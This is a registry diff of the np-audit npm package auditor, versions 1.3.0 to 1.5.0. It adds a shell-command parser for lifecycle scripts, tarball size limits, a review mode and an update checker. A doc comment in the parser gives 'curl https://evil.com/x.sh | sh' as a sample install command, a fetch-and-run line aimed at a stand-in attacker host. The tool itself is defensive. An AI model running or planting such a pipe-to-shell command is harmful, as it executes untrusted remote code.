np-audit 1.3.0 → 1.5.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/LICENSE +21 -0
- package/README.md +131 -52
- package/package.json +1 -1
- package/src/cli.js +55 -181
- package/src/commands/alias.js +111 -0
- package/src/commands/ci.js +90 -0
- package/src/commands/config.js +71 -0
- package/src/commands/index.js +37 -0
- package/src/commands/install.js +109 -0
- package/src/commands/scan.js +82 -0
- package/src/core/detector.js +444 -0
- package/src/core/requireWalker.js +192 -0
- package/src/core/scanner.js +700 -0
- package/src/utils/command.js +256 -0
- package/src/{config.js → utils/config.js} +34 -2
- package/src/{output.js → utils/output.js} +22 -7
- package/src/{aware.js → utils/review.js} +56 -16
- package/src/{tarball.js → utils/tarball.js} +7 -1
- package/src/utils/updateChecker.js +72 -0
- package/src/detector.js +0 -300
- package/src/scanner.js +0 -407
- /package/src/{fetcher.js → utils/fetcher.js} +0 -0
- /package/src/{lockfile.js → utils/lockfile.js} +0 -0
|
@@ -0,0 +1,256 @@
|
|
|
1
|
+
'use strict';
|
|
2
|
+
|
|
3
|
+
/**
|
|
4
|
+
* Parse a lifecycle command string into a list of "script references".
|
|
5
|
+
*
|
|
6
|
+
* A script reference is either:
|
|
7
|
+
* { kind: 'file', path: 'install.js', interpreter: 'node' } — analyze this file
|
|
8
|
+
* { kind: 'inline', code: '...', interpreter: 'sh' } — analyze this command string
|
|
9
|
+
*
|
|
10
|
+
* The parser splits on the standard shell separators `&&`, `||`, `;`, and `|`
|
|
11
|
+
* (which all chain or redirect commands during npm install), then classifies
|
|
12
|
+
* each segment. This means commands like:
|
|
13
|
+
*
|
|
14
|
+
* "node pre.js && node post.js"
|
|
15
|
+
* "sh ./install.sh; node cleanup.js"
|
|
16
|
+
* "curl https://evil.com/x.sh | sh"
|
|
17
|
+
*
|
|
18
|
+
* all produce multiple references — earlier versions of np-audit only ever
|
|
19
|
+
* extracted the first `node` invocation and ignored the rest.
|
|
20
|
+
*
|
|
21
|
+
* String literals (quoted) are kept intact so we don't split inside an
|
|
22
|
+
* `-e "a && b"` argument or similar.
|
|
23
|
+
*/
|
|
24
|
+
function parseCommand(command) {
|
|
25
|
+
if (!command || typeof command !== 'string') return [];
|
|
26
|
+
|
|
27
|
+
const segments = splitOnShellSeparators(command.trim());
|
|
28
|
+
const refs = [];
|
|
29
|
+
|
|
30
|
+
for (const segment of segments) {
|
|
31
|
+
if (!segment) continue;
|
|
32
|
+
refs.push(...classifySegment(segment));
|
|
33
|
+
}
|
|
34
|
+
|
|
35
|
+
return refs;
|
|
36
|
+
}
|
|
37
|
+
|
|
38
|
+
/**
|
|
39
|
+
* Split on &&, ||, ;, | — respecting single, double, and backtick quotes.
|
|
40
|
+
*/
|
|
41
|
+
function splitOnShellSeparators(cmd) {
|
|
42
|
+
const out = [];
|
|
43
|
+
let buf = '';
|
|
44
|
+
let quote = null; // null | "'" | '"' | '`'
|
|
45
|
+
|
|
46
|
+
for (let i = 0; i < cmd.length; i++) {
|
|
47
|
+
const c = cmd[i];
|
|
48
|
+
|
|
49
|
+
if (quote) {
|
|
50
|
+
if (c === '\\' && i + 1 < cmd.length) {
|
|
51
|
+
buf += c + cmd[i + 1];
|
|
52
|
+
i++;
|
|
53
|
+
continue;
|
|
54
|
+
}
|
|
55
|
+
if (c === quote) quote = null;
|
|
56
|
+
buf += c;
|
|
57
|
+
continue;
|
|
58
|
+
}
|
|
59
|
+
|
|
60
|
+
if (c === '"' || c === "'" || c === '`') {
|
|
61
|
+
quote = c;
|
|
62
|
+
buf += c;
|
|
63
|
+
continue;
|
|
64
|
+
}
|
|
65
|
+
|
|
66
|
+
// && and ||
|
|
67
|
+
if ((c === '&' || c === '|') && cmd[i + 1] === c) {
|
|
68
|
+
out.push(buf);
|
|
69
|
+
buf = '';
|
|
70
|
+
i++;
|
|
71
|
+
continue;
|
|
72
|
+
}
|
|
73
|
+
|
|
74
|
+
// single | (pipe) and ; — also segment boundaries for our purposes:
|
|
75
|
+
// a pipe `foo | sh` clearly has two commands; a sequence `a ; b` too.
|
|
76
|
+
if (c === '|' || c === ';') {
|
|
77
|
+
out.push(buf);
|
|
78
|
+
buf = '';
|
|
79
|
+
continue;
|
|
80
|
+
}
|
|
81
|
+
|
|
82
|
+
buf += c;
|
|
83
|
+
}
|
|
84
|
+
out.push(buf);
|
|
85
|
+
|
|
86
|
+
return out.map(s => s.trim()).filter(Boolean);
|
|
87
|
+
}
|
|
88
|
+
|
|
89
|
+
/**
|
|
90
|
+
* Classify a single shell segment into one or more script references.
|
|
91
|
+
*/
|
|
92
|
+
function classifySegment(segment) {
|
|
93
|
+
const tokens = tokenize(segment);
|
|
94
|
+
if (tokens.length === 0) return [];
|
|
95
|
+
|
|
96
|
+
const cmd = tokens[0];
|
|
97
|
+
|
|
98
|
+
// Resolve common path-prefix wrappers
|
|
99
|
+
// e.g. "./node_modules/.bin/foo" → "foo"
|
|
100
|
+
const cmdBase = cmd.split('/').pop();
|
|
101
|
+
|
|
102
|
+
// Node interpreters
|
|
103
|
+
if (cmdBase === 'node' || cmdBase === 'nodejs') {
|
|
104
|
+
return classifyNodeInvocation(tokens.slice(1), segment);
|
|
105
|
+
}
|
|
106
|
+
|
|
107
|
+
// Other JS runtimes
|
|
108
|
+
if (cmdBase === 'tsx' || cmdBase === 'ts-node' || cmdBase === 'bun' || cmdBase === 'deno') {
|
|
109
|
+
const fileArg = tokens.slice(1).find(t => !t.startsWith('-'));
|
|
110
|
+
if (fileArg) {
|
|
111
|
+
return [{ kind: 'file', path: stripDotSlash(fileArg), interpreter: cmdBase }];
|
|
112
|
+
}
|
|
113
|
+
return [{ kind: 'inline', code: segment, interpreter: cmdBase }];
|
|
114
|
+
}
|
|
115
|
+
|
|
116
|
+
// Shell-script interpreters
|
|
117
|
+
if (cmdBase === 'sh' || cmdBase === 'bash' || cmdBase === 'zsh' || cmdBase === 'dash') {
|
|
118
|
+
return classifyShellInvocation(tokens.slice(1), segment);
|
|
119
|
+
}
|
|
120
|
+
|
|
121
|
+
// Python and friends
|
|
122
|
+
if (cmdBase === 'python' || cmdBase === 'python2' || cmdBase === 'python3'
|
|
123
|
+
|| cmdBase === 'ruby' || cmdBase === 'perl' || cmdBase === 'php') {
|
|
124
|
+
const args = tokens.slice(1);
|
|
125
|
+
for (let i = 0; i < args.length; i++) {
|
|
126
|
+
const a = args[i];
|
|
127
|
+
// -c "code", -e "code" — execute the next argument as code
|
|
128
|
+
if (a === '-c' || a === '-e') {
|
|
129
|
+
return [{ kind: 'inline', code: args[i + 1] || '', interpreter: cmdBase }];
|
|
130
|
+
}
|
|
131
|
+
if (a.startsWith('-')) continue;
|
|
132
|
+
return [{ kind: 'file', path: stripDotSlash(a), interpreter: cmdBase }];
|
|
133
|
+
}
|
|
134
|
+
return [{ kind: 'inline', code: segment, interpreter: cmdBase }];
|
|
135
|
+
}
|
|
136
|
+
|
|
137
|
+
// `.js`/`.mjs`/`.cjs` files invoked directly (shebang)
|
|
138
|
+
if (/\.(?:js|mjs|cjs|sh|bash|py|rb|pl)$/.test(cmdBase)) {
|
|
139
|
+
return [{ kind: 'file', path: stripDotSlash(cmd), interpreter: 'auto' }];
|
|
140
|
+
}
|
|
141
|
+
|
|
142
|
+
// npx — running an arbitrary package. We can't statically know which file
|
|
143
|
+
// it executes, but the command string itself is worth surfacing.
|
|
144
|
+
if (cmdBase === 'npx') {
|
|
145
|
+
return [{ kind: 'inline', code: segment, interpreter: 'shell', npx: true }];
|
|
146
|
+
}
|
|
147
|
+
|
|
148
|
+
// Anything else (curl, wget, cd, env, …): keep as inline so it shows up in
|
|
149
|
+
// the report and is run through the obfuscation checks at least as a string.
|
|
150
|
+
return [{ kind: 'inline', code: segment, interpreter: 'shell' }];
|
|
151
|
+
}
|
|
152
|
+
|
|
153
|
+
/**
|
|
154
|
+
* Handle `node <args...>`. Cases:
|
|
155
|
+
* node script.js → file
|
|
156
|
+
* node -e "..." → inline (the code IS the argument)
|
|
157
|
+
* node -p "..." → inline
|
|
158
|
+
* node --eval "..." → inline
|
|
159
|
+
* node --experimental-foo s.js → file (skip flags, pick first non-flag)
|
|
160
|
+
*/
|
|
161
|
+
function classifyNodeInvocation(args, fullSegment) {
|
|
162
|
+
for (let i = 0; i < args.length; i++) {
|
|
163
|
+
const a = args[i];
|
|
164
|
+
if (a === '-e' || a === '--eval' || a === '-p' || a === '--print') {
|
|
165
|
+
const code = args[i + 1] || '';
|
|
166
|
+
return [{ kind: 'inline', code: stripQuotes(code), interpreter: 'node' }];
|
|
167
|
+
}
|
|
168
|
+
if (a.startsWith('-')) continue;
|
|
169
|
+
// First non-flag token is the script file
|
|
170
|
+
return [{ kind: 'file', path: stripDotSlash(a), interpreter: 'node' }];
|
|
171
|
+
}
|
|
172
|
+
// No file, no -e — fall through to inline
|
|
173
|
+
return [{ kind: 'inline', code: fullSegment, interpreter: 'node' }];
|
|
174
|
+
}
|
|
175
|
+
|
|
176
|
+
/**
|
|
177
|
+
* Handle `sh <args...>`. Cases:
|
|
178
|
+
* sh script.sh → file (the .sh file is fetched & scanned)
|
|
179
|
+
* sh -c "..." → inline (the code IS the argument)
|
|
180
|
+
* bash -c "..." → inline
|
|
181
|
+
*/
|
|
182
|
+
function classifyShellInvocation(args, fullSegment) {
|
|
183
|
+
for (let i = 0; i < args.length; i++) {
|
|
184
|
+
const a = args[i];
|
|
185
|
+
if (a === '-c') {
|
|
186
|
+
const code = args[i + 1] || '';
|
|
187
|
+
return [{ kind: 'inline', code: stripQuotes(code), interpreter: 'sh' }];
|
|
188
|
+
}
|
|
189
|
+
if (a.startsWith('-')) continue;
|
|
190
|
+
return [{ kind: 'file', path: stripDotSlash(a), interpreter: 'sh' }];
|
|
191
|
+
}
|
|
192
|
+
return [{ kind: 'inline', code: fullSegment, interpreter: 'sh' }];
|
|
193
|
+
}
|
|
194
|
+
|
|
195
|
+
/**
|
|
196
|
+
* Lightweight shell-style tokenizer — respects single, double, backtick quotes
|
|
197
|
+
* and \-escapes. Does NOT do variable expansion (we want the literal command
|
|
198
|
+
* the way npm would hand it to /bin/sh).
|
|
199
|
+
*/
|
|
200
|
+
function tokenize(s) {
|
|
201
|
+
const out = [];
|
|
202
|
+
let buf = '';
|
|
203
|
+
let quote = null;
|
|
204
|
+
|
|
205
|
+
for (let i = 0; i < s.length; i++) {
|
|
206
|
+
const c = s[i];
|
|
207
|
+
|
|
208
|
+
if (quote) {
|
|
209
|
+
if (c === '\\' && i + 1 < s.length && quote === '"') {
|
|
210
|
+
buf += s[i + 1];
|
|
211
|
+
i++;
|
|
212
|
+
continue;
|
|
213
|
+
}
|
|
214
|
+
if (c === quote) { quote = null; continue; }
|
|
215
|
+
buf += c;
|
|
216
|
+
continue;
|
|
217
|
+
}
|
|
218
|
+
|
|
219
|
+
if (c === '"' || c === "'" || c === '`') {
|
|
220
|
+
quote = c;
|
|
221
|
+
continue;
|
|
222
|
+
}
|
|
223
|
+
|
|
224
|
+
if (c === '\\' && i + 1 < s.length) {
|
|
225
|
+
buf += s[i + 1];
|
|
226
|
+
i++;
|
|
227
|
+
continue;
|
|
228
|
+
}
|
|
229
|
+
|
|
230
|
+
if (/\s/.test(c)) {
|
|
231
|
+
if (buf) { out.push(buf); buf = ''; }
|
|
232
|
+
continue;
|
|
233
|
+
}
|
|
234
|
+
|
|
235
|
+
buf += c;
|
|
236
|
+
}
|
|
237
|
+
|
|
238
|
+
if (buf) out.push(buf);
|
|
239
|
+
return out;
|
|
240
|
+
}
|
|
241
|
+
|
|
242
|
+
function stripDotSlash(p) {
|
|
243
|
+
return p.replace(/^\.\//, '');
|
|
244
|
+
}
|
|
245
|
+
|
|
246
|
+
function stripQuotes(s) {
|
|
247
|
+
if (s.length >= 2) {
|
|
248
|
+
const f = s[0], l = s[s.length - 1];
|
|
249
|
+
if ((f === '"' || f === "'" || f === '`') && f === l) {
|
|
250
|
+
return s.slice(1, -1);
|
|
251
|
+
}
|
|
252
|
+
}
|
|
253
|
+
return s;
|
|
254
|
+
}
|
|
255
|
+
|
|
256
|
+
module.exports = { parseCommand, splitOnShellSeparators, tokenize };
|
|
@@ -14,6 +14,9 @@ const DEFAULT_CONFIG = Object.freeze({
|
|
|
14
14
|
parallelFetches: 5,
|
|
15
15
|
skipScopes: [],
|
|
16
16
|
skipPackages: [],
|
|
17
|
+
silent: false,
|
|
18
|
+
scanSelf: true,
|
|
19
|
+
maxTarballSize: '50MB', // Max unpacked tarball size (e.g. '5MB', '1GB', or bytes as number)
|
|
17
20
|
});
|
|
18
21
|
|
|
19
22
|
const VALID_KEYS = new Set(Object.keys(DEFAULT_CONFIG));
|
|
@@ -28,21 +31,50 @@ function readJSON(filePath) {
|
|
|
28
31
|
|
|
29
32
|
function loadConfig(cwd) {
|
|
30
33
|
const base = { ...DEFAULT_CONFIG };
|
|
34
|
+
// Parse the default maxTarballSize string to bytes
|
|
35
|
+
base.maxTarballSize = parseSize(base.maxTarballSize);
|
|
31
36
|
const global_ = readJSON(GLOBAL_CONFIG_PATH) || {};
|
|
32
37
|
const local = cwd ? readJSON(path.join(cwd, '.npmauditor.json')) || {} : {};
|
|
33
38
|
return Object.assign(base, coerce(global_), coerce(local));
|
|
34
39
|
}
|
|
35
40
|
|
|
41
|
+
/**
|
|
42
|
+
* Parse size strings like '5MB', '1GB', '500KB' to bytes.
|
|
43
|
+
* @param {string|number} value
|
|
44
|
+
* @returns {number} Size in bytes
|
|
45
|
+
*/
|
|
46
|
+
function parseSize(value) {
|
|
47
|
+
if (typeof value === 'number') return Math.max(0, value);
|
|
48
|
+
if (typeof value !== 'string') return 0;
|
|
49
|
+
|
|
50
|
+
const match = value.trim().match(/^(\d+(?:\.\d+)?)\s*(B|KB|MB|GB)?$/i);
|
|
51
|
+
if (!match) return 0;
|
|
52
|
+
|
|
53
|
+
const num = parseFloat(match[1]);
|
|
54
|
+
const unit = (match[2] || 'B').toUpperCase();
|
|
55
|
+
|
|
56
|
+
const multipliers = { B: 1, KB: 1024, MB: 1024 ** 2, GB: 1024 ** 3 };
|
|
57
|
+
const bytes = num * (multipliers[unit] || 1);
|
|
58
|
+
|
|
59
|
+
// Cap at available RAM to prevent out-of-memory
|
|
60
|
+
const totalMem = os.totalmem();
|
|
61
|
+
return Math.min(Math.max(0, Math.floor(bytes)), totalMem);
|
|
62
|
+
}
|
|
63
|
+
|
|
36
64
|
function coerce(obj) {
|
|
37
65
|
const result = {};
|
|
38
66
|
for (const [key, val] of Object.entries(obj)) {
|
|
39
67
|
if (!VALID_KEYS.has(key)) continue;
|
|
40
68
|
const def = DEFAULT_CONFIG[key];
|
|
41
|
-
if (
|
|
69
|
+
if (key === 'maxTarballSize') {
|
|
70
|
+
result[key] = parseSize(val);
|
|
71
|
+
} else if (Array.isArray(def)) {
|
|
42
72
|
result[key] = Array.isArray(val) ? val : [val];
|
|
43
73
|
} else if (typeof def === 'number') {
|
|
44
74
|
const n = Number(val);
|
|
45
75
|
if (!isNaN(n)) result[key] = n;
|
|
76
|
+
} else if (typeof def === 'boolean') {
|
|
77
|
+
result[key] = val === true || val === 'true' || val === '1';
|
|
46
78
|
} else {
|
|
47
79
|
result[key] = val;
|
|
48
80
|
}
|
|
@@ -68,4 +100,4 @@ function getGlobalConfigPath() {
|
|
|
68
100
|
return GLOBAL_CONFIG_PATH;
|
|
69
101
|
}
|
|
70
102
|
|
|
71
|
-
module.exports = { loadConfig, setGlobalConfig, getGlobalConfigPath, DEFAULT_CONFIG, VALID_KEYS };
|
|
103
|
+
module.exports = { loadConfig, setGlobalConfig, getGlobalConfigPath, DEFAULT_CONFIG, VALID_KEYS, parseSize };
|
|
@@ -49,16 +49,26 @@ function log(msg) {
|
|
|
49
49
|
}
|
|
50
50
|
|
|
51
51
|
function verdictBadge(verdict) {
|
|
52
|
-
if (NO_COLOR) return `[${verdict}]`;
|
|
53
|
-
if (verdict === 'BLOCK') return `${BG_RED}${BOLD}
|
|
52
|
+
if (NO_COLOR) return verdict === 'BLOCK' ? '[DANGER]' : `[${verdict}]`;
|
|
53
|
+
if (verdict === 'BLOCK') return `${BG_RED}${WHITE}${BOLD} DANGER ${RESET}`;
|
|
54
54
|
if (verdict === 'WARN') return `${BG_YELLOW}\x1b[30m WARN ${RESET}`;
|
|
55
55
|
return `${GREEN} OK ${RESET}`;
|
|
56
56
|
}
|
|
57
57
|
|
|
58
|
-
|
|
59
|
-
|
|
60
|
-
|
|
61
|
-
|
|
58
|
+
const ASCII_LOGO = `
|
|
59
|
+
|
|
60
|
+
███╗ ██╗██████╗ █████╗
|
|
61
|
+
████╗ ██║██╔══██╗██╔══██╗
|
|
62
|
+
██╔██╗ ██║██████╔╝███████║
|
|
63
|
+
██║╚██╗██║██╔═══╝ ██╔══██║
|
|
64
|
+
██║ ╚████║██║ ██║ ██║
|
|
65
|
+
╚═╝ ╚═══╝╚═╝ ╚═╝ ╚═╝
|
|
66
|
+
`;
|
|
67
|
+
|
|
68
|
+
function printScanHeader(silent = false) {
|
|
69
|
+
if (silent) return;
|
|
70
|
+
log(blue(ASCII_LOGO));
|
|
71
|
+
log(dim(' npm package auditor — static obfuscation detection'));
|
|
62
72
|
log(dim('─'.repeat(60)));
|
|
63
73
|
log('');
|
|
64
74
|
}
|
|
@@ -77,10 +87,15 @@ function printSummary(results) {
|
|
|
77
87
|
const blocked = results.filter(r => r.verdict === 'BLOCK').length;
|
|
78
88
|
const warned = results.filter(r => r.verdict === 'WARN').length;
|
|
79
89
|
const ok = results.filter(r => r.verdict === 'OK').length;
|
|
90
|
+
const skipped = results.skippedCount || 0;
|
|
80
91
|
|
|
81
92
|
log('');
|
|
82
93
|
log(dim('─'.repeat(60)));
|
|
83
|
-
|
|
94
|
+
let summary = ` ${green(String(ok))} clean ${yellow(String(warned))} warnings ${red(String(blocked))} blocked`;
|
|
95
|
+
if (skipped > 0) {
|
|
96
|
+
summary += ` ${dim(String(skipped) + ' skipped (no install scripts)')}`;
|
|
97
|
+
}
|
|
98
|
+
log(summary);
|
|
84
99
|
log('');
|
|
85
100
|
}
|
|
86
101
|
|
|
@@ -40,11 +40,21 @@ async function runAware(opts) {
|
|
|
40
40
|
|
|
41
41
|
let cursor = 0;
|
|
42
42
|
|
|
43
|
+
// Use alternate screen buffer on supported terminals (not legacy Windows console)
|
|
44
|
+
const useAltScreen = process.stdout.isTTY && (
|
|
45
|
+
process.platform !== 'win32' ||
|
|
46
|
+
process.env.WT_SESSION || // Windows Terminal
|
|
47
|
+
process.env.ConEmuPID // ConEmu
|
|
48
|
+
);
|
|
49
|
+
|
|
50
|
+
if (useAltScreen) {
|
|
51
|
+
process.stdout.write('\x1b[?1049h');
|
|
52
|
+
}
|
|
53
|
+
|
|
43
54
|
function render() {
|
|
44
|
-
|
|
45
|
-
process.stdout.write('\x1b[2J\x1b[H'); // clear screen
|
|
55
|
+
process.stdout.write('\x1b[H\x1b[2J');
|
|
46
56
|
output.log('');
|
|
47
|
-
output.log(output.bold(' npa --
|
|
57
|
+
output.log(output.bold(' npa --review mode'));
|
|
48
58
|
output.log(output.dim(' Use ↑/↓ to navigate, SPACE to toggle, ENTER to confirm, q to quit'));
|
|
49
59
|
output.log('');
|
|
50
60
|
output.log(` Found ${items.length} package(s) with install scripts:\n`);
|
|
@@ -115,8 +125,10 @@ async function runAware(opts) {
|
|
|
115
125
|
process.stdin.on('keypress', onKey);
|
|
116
126
|
});
|
|
117
127
|
|
|
118
|
-
//
|
|
119
|
-
|
|
128
|
+
// Exit alternate screen buffer (restores previous screen)
|
|
129
|
+
if (useAltScreen) {
|
|
130
|
+
process.stdout.write('\x1b[?1049l');
|
|
131
|
+
}
|
|
120
132
|
|
|
121
133
|
const allowedItems = items.filter(i => i.allowed);
|
|
122
134
|
const deniedItems = items.filter(i => !i.allowed);
|
|
@@ -124,30 +136,58 @@ async function runAware(opts) {
|
|
|
124
136
|
output.log('');
|
|
125
137
|
output.info(`Proceeding with ${allowedItems.length} allowed / ${deniedItems.length} denied`);
|
|
126
138
|
|
|
139
|
+
// Get names of denied packages to exclude from install
|
|
140
|
+
const deniedNames = new Set(deniedItems.map(i => i.result.pkg.name));
|
|
141
|
+
|
|
142
|
+
// Filter npmArgs to exclude denied packages
|
|
143
|
+
let filteredNpmArgs = npmArgs.filter(arg => {
|
|
144
|
+
// Extract package name (handle @scope/pkg and pkg@version formats)
|
|
145
|
+
const name = arg.startsWith('@')
|
|
146
|
+
? arg.split('/').slice(0, 2).join('/').split('@').slice(0, 2).join('@').replace(/@[^@]*$/, '') || arg.split('@').slice(0, 2).join('@')
|
|
147
|
+
: arg.split('@')[0];
|
|
148
|
+
return !deniedNames.has(name);
|
|
149
|
+
});
|
|
150
|
+
|
|
151
|
+
// If all explicitly requested packages are denied, abort
|
|
152
|
+
if (npmArgs.length > 0 && filteredNpmArgs.length === 0) {
|
|
153
|
+
output.error('All requested packages were denied. Aborting install.');
|
|
154
|
+
return 1;
|
|
155
|
+
}
|
|
156
|
+
|
|
127
157
|
if (deniedItems.length > 0) {
|
|
128
|
-
|
|
129
|
-
|
|
130
|
-
|
|
131
|
-
|
|
132
|
-
|
|
133
|
-
const
|
|
134
|
-
|
|
135
|
-
|
|
158
|
+
if (filteredNpmArgs.length > 0 || npmArgs.length === 0) {
|
|
159
|
+
output.warn('Running npm with --ignore-scripts (will run allowed scripts manually after)');
|
|
160
|
+
const code = runNpm(command, [...filteredNpmArgs, '--ignore-scripts'], cwd);
|
|
161
|
+
if (code !== 0) return code;
|
|
162
|
+
|
|
163
|
+
for (const item of allowedItems) {
|
|
164
|
+
const exitCode = runPackageScripts(item.result, cwd);
|
|
165
|
+
if (exitCode !== 0) {
|
|
166
|
+
output.error(`Script for ${item.result.pkg.name} exited with code ${exitCode}`);
|
|
167
|
+
}
|
|
136
168
|
}
|
|
169
|
+
return 0;
|
|
170
|
+
} else {
|
|
171
|
+
output.warn('No packages to install after excluding denied packages.');
|
|
172
|
+
return 0;
|
|
137
173
|
}
|
|
138
|
-
return 0;
|
|
139
174
|
} else {
|
|
140
|
-
return runNpm(command, npmArgs, cwd);
|
|
175
|
+
return runNpm(command, filteredNpmArgs.length > 0 ? filteredNpmArgs : npmArgs, cwd);
|
|
141
176
|
}
|
|
142
177
|
}
|
|
143
178
|
|
|
144
179
|
/**
|
|
145
180
|
* Spawn npm install/ci and return the exit code.
|
|
181
|
+
* Sets NPA_RUNNING=1 to prevent recursive hooks when npm is aliased to npa.
|
|
146
182
|
*/
|
|
147
183
|
function runNpm(command, args, cwd) {
|
|
148
184
|
const npmCmd = process.platform === 'win32' ? 'npm.cmd' : 'npm';
|
|
149
185
|
const npmArgs = command === 'ci' ? ['ci', ...args] : ['install', ...args];
|
|
150
|
-
const result = spawnSync(npmCmd, npmArgs, {
|
|
186
|
+
const result = spawnSync(npmCmd, npmArgs, {
|
|
187
|
+
stdio: 'inherit',
|
|
188
|
+
cwd,
|
|
189
|
+
env: { ...process.env, NPA_RUNNING: '1' },
|
|
190
|
+
});
|
|
151
191
|
return result.status || 0;
|
|
152
192
|
}
|
|
153
193
|
|
|
@@ -9,11 +9,13 @@ const BLOCK_SIZE = 512;
|
|
|
9
9
|
* Pure Node.js — no external dependencies.
|
|
10
10
|
* Handles GNU long name (typeflag 'L') and POSIX ustar extended headers (typeflag 'x').
|
|
11
11
|
* @param {Buffer} gzipBuffer
|
|
12
|
+
* @param {number} [maxSize] Maximum total unpacked size in bytes
|
|
12
13
|
* @returns {Map<string, Buffer>}
|
|
13
14
|
*/
|
|
14
|
-
function parseTarGz(gzipBuffer) {
|
|
15
|
+
function parseTarGz(gzipBuffer, maxSize = null) {
|
|
15
16
|
const tar = zlib.gunzipSync(gzipBuffer);
|
|
16
17
|
const files = new Map();
|
|
18
|
+
let totalUnpackedSize = 0;
|
|
17
19
|
|
|
18
20
|
let offset = 0;
|
|
19
21
|
let pendingLongName = null;
|
|
@@ -56,6 +58,10 @@ function parseTarGz(gzipBuffer) {
|
|
|
56
58
|
name = name.replace(/\0/g, '');
|
|
57
59
|
|
|
58
60
|
if ((typeFlag === '0' || typeFlag === '\0') && size > 0) {
|
|
61
|
+
totalUnpackedSize += size;
|
|
62
|
+
if (maxSize !== null && maxSize !== undefined && totalUnpackedSize > maxSize) {
|
|
63
|
+
throw new Error(`Tarball unpacked size (${totalUnpackedSize} bytes) exceeds limit (${maxSize} bytes) — potential zip bomb`);
|
|
64
|
+
}
|
|
59
65
|
files.set(name, tar.slice(offset, offset + size));
|
|
60
66
|
}
|
|
61
67
|
|
|
@@ -0,0 +1,72 @@
|
|
|
1
|
+
'use strict';
|
|
2
|
+
|
|
3
|
+
const fs = require('fs');
|
|
4
|
+
const path = require('path');
|
|
5
|
+
const os = require('os');
|
|
6
|
+
|
|
7
|
+
const CACHE_FILE = path.join(os.homedir(), '.npa-update-check');
|
|
8
|
+
const CHECK_INTERVAL = 172800000; // 2 days in ms
|
|
9
|
+
|
|
10
|
+
/**
|
|
11
|
+
* Check for a newer version of np-audit on the registry.
|
|
12
|
+
* Non-blocking — swallows all errors and returns null on failure.
|
|
13
|
+
* @param {object} config Must have `registry` and `timeout` keys.
|
|
14
|
+
* @param {string} currentVersion The currently installed version.
|
|
15
|
+
* @returns {Promise<string|null>} The latest version if newer, or null.
|
|
16
|
+
*/
|
|
17
|
+
async function checkForUpdate(config, currentVersion) {
|
|
18
|
+
try {
|
|
19
|
+
const cache = readCache();
|
|
20
|
+
const now = Date.now();
|
|
21
|
+
|
|
22
|
+
if (cache && (now - cache.lastCheck) < CHECK_INTERVAL) {
|
|
23
|
+
return isNewer(cache.latestVersion, currentVersion) ? cache.latestVersion : null;
|
|
24
|
+
}
|
|
25
|
+
|
|
26
|
+
const { fetchJSON } = require('./fetcher');
|
|
27
|
+
const meta = await fetchJSON(`${config.registry}/np-audit`, { timeout: 5000 });
|
|
28
|
+
const latest = meta['dist-tags'] && meta['dist-tags'].latest;
|
|
29
|
+
|
|
30
|
+
if (latest) {
|
|
31
|
+
writeCache({ lastCheck: now, latestVersion: latest });
|
|
32
|
+
return isNewer(latest, currentVersion) ? latest : null;
|
|
33
|
+
}
|
|
34
|
+
|
|
35
|
+
return null;
|
|
36
|
+
} catch {
|
|
37
|
+
return null;
|
|
38
|
+
}
|
|
39
|
+
}
|
|
40
|
+
|
|
41
|
+
/**
|
|
42
|
+
* Compare two semver strings. Returns true if `a` is newer than `b`.
|
|
43
|
+
*/
|
|
44
|
+
function isNewer(a, b) {
|
|
45
|
+
const pa = a.split(/[-.]/).map(s => parseInt(s, 10) || 0);
|
|
46
|
+
const pb = b.split(/[-.]/).map(s => parseInt(s, 10) || 0);
|
|
47
|
+
for (let i = 0; i < 3; i++) {
|
|
48
|
+
if ((pa[i] || 0) > (pb[i] || 0)) return true;
|
|
49
|
+
if ((pa[i] || 0) < (pb[i] || 0)) return false;
|
|
50
|
+
}
|
|
51
|
+
// Same x.y.z — pre-release (e.g. "beta") is older than stable
|
|
52
|
+
if (b.includes('-') && !a.includes('-')) return true;
|
|
53
|
+
return false;
|
|
54
|
+
}
|
|
55
|
+
|
|
56
|
+
function readCache() {
|
|
57
|
+
try {
|
|
58
|
+
return JSON.parse(fs.readFileSync(CACHE_FILE, 'utf8'));
|
|
59
|
+
} catch {
|
|
60
|
+
return null;
|
|
61
|
+
}
|
|
62
|
+
}
|
|
63
|
+
|
|
64
|
+
function writeCache(data) {
|
|
65
|
+
try {
|
|
66
|
+
fs.writeFileSync(CACHE_FILE, JSON.stringify(data), 'utf8');
|
|
67
|
+
} catch {
|
|
68
|
+
// Non-critical — ignore write failures
|
|
69
|
+
}
|
|
70
|
+
}
|
|
71
|
+
|
|
72
|
+
module.exports = { checkForUpdate, isNewer, CHECK_INTERVAL, CACHE_FILE };
|